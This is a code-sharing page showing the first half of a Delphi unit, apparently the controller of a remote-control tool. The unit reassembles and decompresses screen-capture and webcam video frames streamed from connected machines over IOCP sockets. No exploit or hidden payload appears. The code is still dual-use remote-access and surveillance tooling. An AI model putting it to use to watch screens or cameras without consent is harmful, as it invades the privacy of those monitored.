⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 iocpherder.pas

📁 iocp远控比较完整的代码.iocp far more complete control of the code
💻 PAS
📖 第 1 页 / 共 2 页
字号:
unit IocpHerder;

interface
uses
    Windows, Messages, WinSock2, Classes, Controls, PublicFunctionUnit,
    SysUtils, mssock, forms, lzo, MxZLib;

{$DEFINE _MiniLzo}

//屏传数据处理函数
procedure DealRemoteScreenData(var lp_Io : PPerHandleData);
//视频数据处理
procedure DealRemoteVideoData(var lp_Io : PPerHandleData);
//文件数据处理函数
procedure DealRemoteFileData(var lp_Io : PPerHandleData;
  const FileDataBuffer : Pointer = nil; const DataLen : integer = 0);
//文件列表数据处理函数
procedure DealRemoteFileListData(var lp_Io : PPerHandleData);

const
  SHUTDOWN_FLAG = $FFFFFFFF;
  CWaitTime = 300;
var
  //iocp使用的一些变量
  WSData : TWSAData;
  g_CompletionPort : THandle;
  g_listensocket : TSocket; 
  eventarray : array [0..1] of Thandle;       //上面两个事件的集合
  g_hAcceptThread : Thandle;                  //接受线程,主要是当lpacceptex用完后,发出新的lpacceptex调用
  g_hWorkerThreads : array of Thandle;        //工作者线程数组
  g_workerthreadcount : Cardinal;             //工作者线程数量
  g_VariableAccessSemaphore : TRTLCriticalSection; //变量访问你控制的临界区 

implementation

  uses DisplayRemoteScreenUnit, MainWindow, VideoFormUnit, FileAndClientInfoCtrlUnit;   //

//主要是处理屏传的时候,收到的数据包里面包含了多了数据帧---粘包处理
function ProcessFirstPackegeData(
  var lp_Io : PPerHandleData;
  const SubDataBuffer : Pointer;
  const SubDataLen : integer;
  var tmpDataBuffer : TtmpBuf;
  var RemoteCmpedFrameData : Pointer;
  var RemoteUnCmpedFrameData : Pointer;
  const RemoteCmpedFrameArray : array of Char;
  const RemoteUnCmpedFrameArray : array of Char;
  const FormHandle : THandle;
  const CmpFrameDataType : Byte = 0;//0:无压缩,1:lzo压缩, 2:MSH263+压缩
  const MsgDealDataOkNotifyEvent : THandle = 0;
  const IsClosing : Boolean = False
  ) : Boolean; 
begin
  //省略...~~
end;

//屏传数据处理函数
procedure DealRemoteScreenData(var lp_Io : PPerHandleData);
var
  RemainDataSize : Word;
  SubDataBuffer : Pointer;
  SubDataLen : integer;
  UnCmpFrameDataLen : longint;
  myDisplayRemoteScreen : TDisplayRemoteScreen;
  WaitTime : DWORD;
begin
  //获取屏传类实例
  myDisplayRemoteScreen := TDisplayRemoteScreen(lp_Io^.AllCtrlInstance.CapScreenInstance);
  //如果是开头数据,则直接子函数进行处理
  if lp_io^.RemoteDataInfo.DataHeaderInfo.CompressedDataSize = 0 then
  begin
    SubDataBuffer := lp_io^.ptrBuffer.buf;
    SubDataLen := lp_io^.ptrBuffer.len;
    //调用处理子函数
    if not ProcessFirstPackegeData(lp_Io, SubDataBuffer, SubDataLen,
      myDisplayRemoteScreen.tmpDataBuffer,
      myDisplayRemoteScreen.RemoteCmpedFrameData,
      myDisplayRemoteScreen.RemoteUnCmpedFrameData,
      myDisplayRemoteScreen.RemoteCmpedFrameArray,
      myDisplayRemoteScreen.RemoteUnCmpedFrameArray,
      myDisplayRemoteScreen.Handle,
      1, //lzo(zlib) 压缩
      myDisplayRemoteScreen.MsgDealDataOkNotifyEvent,
      myDisplayRemoteScreen.IsClosing
      )
      then
      begin
        lp_Io^.IsUsed := False;
        Exit;
      end;
  end
  //如果非开头的数据,并且帧内存区域里面的数据+刚收到的数据还是不足一帧数据
  //则直接将刚收到的数据拷贝进帧内存区域------------------------------------(1)
  else if lp_io^.RemoteDataInfo.FilledDataLength + lp_io^.ptrBuffer.len <
    lp_io^.RemoteDataInfo.DataHeaderInfo.CompressedDataSize then
  begin
    //将数据拷贝进帧内存区
    CopyMemory(Pointer(DWORD(myDisplayRemoteScreen.RemoteCmpedFrameData) +
      lp_io^.RemoteDataInfo.FilledDataLength),
      lp_io^.ptrBuffer.buf, lp_io^.ptrBuffer.len);
    //增加帧数据内存区的已填充的计数
    Inc(lp_io^.RemoteDataInfo.FilledDataLength, lp_io^.ptrBuffer.len);
    //如果是屏传,则设置屏传窗口caption,显示传输速度
    if lp_io^.RemoteSystemInfo.RemoteDataType = RemoteScreenData then
    begin
      myDisplayRemoteScreen := TDisplayRemoteScreen(lp_io^.AllCtrlInstance.CapScreenInstance);
      //设置屏传标题
      SetWindowText(myDisplayRemoteScreen.Handle,
        Pchar(myDisplayRemoteScreen.CaptionStr + ',' +
          IntTostr(lp_io^.RemoteDataInfo.FilledDataLength * 100 div
          lp_io^.RemoteDataInfo.DataHeaderInfo.CompressedDataSize) + '%'));
    end;
  end
  else
  //如果(1)的条件不成立,说明已经足够一帧数据了,则进行处理
  begin
    RemainDataSize := lp_io^.RemoteDataInfo.FilledDataLength + lp_io^.ptrBuffer.len -
      lp_io^.RemoteDataInfo.DataHeaderInfo.CompressedDataSize;
    //拷贝数据
    if lp_io^.RemoteDataInfo.FilledDataLength <
      lp_io^.RemoteDataInfo.DataHeaderInfo.CompressedDataSize then
    begin
      CopyMemory(Pointer(DWORD(myDisplayRemoteScreen.RemoteCmpedFrameData) +
        lp_io^.RemoteDataInfo.FilledDataLength),
        lp_io^.ptrBuffer.buf, lp_io^.RemoteDataInfo.DataHeaderInfo.CompressedDataSize -
        lp_io^.RemoteDataInfo.FilledDataLength);
    end; 
    //解压并进行数据处理
  {$IFDEF _MiniLzo}
    UnCmpFrameDataLen := lp_io^.RemoteDataInfo.DataHeaderInfo.UnCompressedDataSize;
    //申请解压内存
    GetMyMem(UnCmpFrameDataLen, myDisplayRemoteScreen.RemoteUnCmpedFrameData,
      myDisplayRemoteScreen.RemoteUnCmpedFrameArray);
    DecompressData(myDisplayRemoteScreen.RemoteCmpedFrameData,
      lp_io^.RemoteDataInfo.DataHeaderInfo.CompressedDataSize,
      myDisplayRemoteScreen.RemoteUnCmpedFrameData);
  {$ELSE}
    //Zlib解压
    UnCmpFrameDataLen := lp_io^.RemoteDataInfo.DataHeaderInfo.UnCompressedDataSize;
    //申请解压内存
    GetMyMem(UnCmpFrameDataLen, myDisplayRemoteScreen.RemoteUnCmpedFrameData,
      myDisplayRemoteScreen.RemoteUnCmpedFrameArray);
    ZDecompress(myDisplayRemoteScreen.RemoteCmpedFrameData,
      lp_io^.RemoteDataInfo.DataHeaderInfo.CompressedDataSize,
      myDisplayRemoteScreen.RemoteUnCmpedFrameData,
      UnCmpFrameDataLen);
  {$ENDIF}
    //通知主窗口,新的数据帧已经到了,lParam就是数据本身的指针
    if IsWindow(myDisplayRemoteScreen.Handle) then
    begin
      PostMessage(myDisplayRemoteScreen.Handle, WM_DealDataMsg,
        LOWORD(DWORD(myDisplayRemoteScreen.RemoteCmpedFrameData)),
        HIWORD(DWORD(myDisplayRemoteScreen.RemoteCmpedFrameData)));
      //等待数据出来完毕
      WaitTime := WaitForSingleObject(myDisplayRemoteScreen.MsgDealDataOkNotifyEvent, CWaitTime);
      //如果超时或者出错,则返回错误
      if (WaitTime = WAIT_TIMEOUT) or (WaitTime = WAIT_FAILED) then
      begin
        if myDisplayRemoteScreen.IsClosing then
        begin
          lp_Io^.IsUsed := False;
          Exit;
        end;
      end;
    end;
    //释放屏幕数据的内存
    if myDisplayRemoteScreen.RemoteCmpedFrameData <> nil then
    begin
      FreeMyMem(myDisplayRemoteScreen.RemoteCmpedFrameData,
        myDisplayRemoteScreen.RemoteCmpedFrameArray);
    end;
    if myDisplayRemoteScreen.RemoteUnCmpedFrameData <> nil then
    begin
      FreeMyMem(myDisplayRemoteScreen.RemoteUnCmpedFrameData,
        myDisplayRemoteScreen.RemoteUnCmpedFrameArray);
    end;
    //清空缓冲区,复位数据记录
    ZeroMemory(@myDisplayRemoteScreen.tmpDataBuffer, sizeof(myDisplayRemoteScreen.tmpDataBuffer));
    ZeroMemory(@lp_io^.RemoteDataInfo, sizeof(lp_io^.RemoteDataInfo));
    //如果还有剩余的数据,则调用子函数进行处理
    if RemainDataSize > 0 then
    begin
      SubDataBuffer := Pointer(longint(lp_io^.ptrBuffer.buf) +
        longint(lp_io^.ptrBuffer.len) - RemainDataSize);
      SubDataLen := RemainDataSize;
      //调用处理子函数
      if not ProcessFirstPackegeData(lp_Io, SubDataBuffer, SubDataLen,
        myDisplayRemoteScreen.tmpDataBuffer,
        myDisplayRemoteScreen.RemoteCmpedFrameData,
        myDisplayRemoteScreen.RemoteUnCmpedFrameData,
        myDisplayRemoteScreen.RemoteCmpedFrameArray,
        myDisplayRemoteScreen.RemoteUnCmpedFrameArray,
        myDisplayRemoteScreen.Handle,
        1, //lzo(zlib) 压缩
        myDisplayRemoteScreen.MsgDealDataOkNotifyEvent,
        myDisplayRemoteScreen.IsClosing
        )
        then
        begin
          lp_Io^.IsUsed := False;
          Exit;
        end;
    end
  end;
  //重置接收缓冲区的大小
  lp_io.ptrBuffer.len := MAX_BUFSIZE;
end;

//视频数据处理函数
procedure DealRemoteVideoData(var lp_Io : PPerHandleData);
var
  RemainDataSize : Word;
  SubDataBuffer : Pointer;
  SubDataLen : integer;
  //视频类指针
  myVideoForm : TVideoForm;
  WaitTime : DWORD;
begin
  //取得视频类指针
  myVideoForm := TVideoForm(lp_Io^.AllCtrlInstance.CapVideoInstance);
  //如果是开头数据,则直接子函数进行处理
  if lp_io^.RemoteDataInfo.DataHeaderInfo.CompressedDataSize = 0 then
  begin
    SubDataBuffer := lp_io^.ptrBuffer.buf;
    SubDataLen := lp_io^.ptrBuffer.len;
    //调用处理子函数,接受视频流
    if not ProcessFirstPackegeData(lp_Io, SubDataBuffer, SubDataLen,
      myVideoForm.tmpDataBuffer,
      myVideoForm.RemoteCmpedFrameData,
      myVideoForm.RemoteUnCmpedFrameData,
      myVideoForm.RemoteCmpedFrameArray,
      myVideoForm.RemoteCmpedFrameArray,
      myVideoForm.Handle,
      2, //msh263 压缩
      myVideoForm.MsgDealDataOkNotifyEvent,
      myVideoForm.IsClosing
      )
      then
      begin
        lp_Io^.IsUsed := False;
        Exit;
      end;
  end
  //如果非开头的数据,并且帧内存区域里面的数据+刚收到的数据还是不足一帧数据
  //则直接将刚收到的数据拷贝进帧内存区域------------------------------------(1)
  else if lp_io^.RemoteDataInfo.FilledDataLength + lp_io^.ptrBuffer.len <
    lp_io^.RemoteDataInfo.DataHeaderInfo.CompressedDataSize then
  begin
    //将数据拷贝进帧内存区
    CopyMemory(Pointer(DWORD(myVideoForm.RemoteCmpedFrameData) + lp_io^.RemoteDataInfo.FilledDataLength),
      lp_io^.ptrBuffer.buf, lp_io^.ptrBuffer.len);
    //增加帧数据内存区的已填充的计数
    Inc(lp_io^.RemoteDataInfo.FilledDataLength, lp_io^.ptrBuffer.len);
  end
  else
  //如果(1)的条件不成立,说明已经足够一帧数据了,则进行处理
  begin
    RemainDataSize := lp_io^.RemoteDataInfo.FilledDataLength + lp_io^.ptrBuffer.len -
      lp_io^.RemoteDataInfo.DataHeaderInfo.CompressedDataSize;
    //拷贝数据
    if lp_io^.RemoteDataInfo.FilledDataLength <
      lp_io^.RemoteDataInfo.DataHeaderInfo.CompressedDataSize then
    begin
      CopyMemory(Pointer(DWORD(myVideoForm.RemoteCmpedFrameData) + lp_io^.RemoteDataInfo.FilledDataLength),
        lp_io^.ptrBuffer.buf, lp_io^.RemoteDataInfo.DataHeaderInfo.CompressedDataSize -
        lp_io^.RemoteDataInfo.FilledDataLength);
    end;
    //如果是视频流,则就进行解压
    if lp_io^.RemoteDataInfo.DataHeaderInfo.DataType = NOCMDReplay then
    begin
      //解压并进行数据处理
      if myVideoForm.m_CodecMgr.DecodeVideoData(PChar(myVideoForm.RemoteCmpedFrameData),
        lp_io^.RemoteDataInfo.DataHeaderInfo.CompressedDataSize,
        PChar(myVideoForm.RemoteCmpedFrameData), nil, 0) then
      begin
        PostMessage(myVideoForm.Handle, WM_TCP_VIDEO_DATAISOK,
          LOWORD(DWORD(myVideoForm.RemoteCmpedFrameData)),
          HIWORD(DWORD(myVideoForm.RemoteCmpedFrameData)));
        //等待数据出来完毕
        WaitTime := WaitForSingleObject(myVideoForm.MsgDealDataOkNotifyEvent, CWaitTime);
        //如果超时或者出错,则返回错误
        if (WaitTime = WAIT_TIMEOUT) or (WaitTime = WAIT_FAILED) then
        begin

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -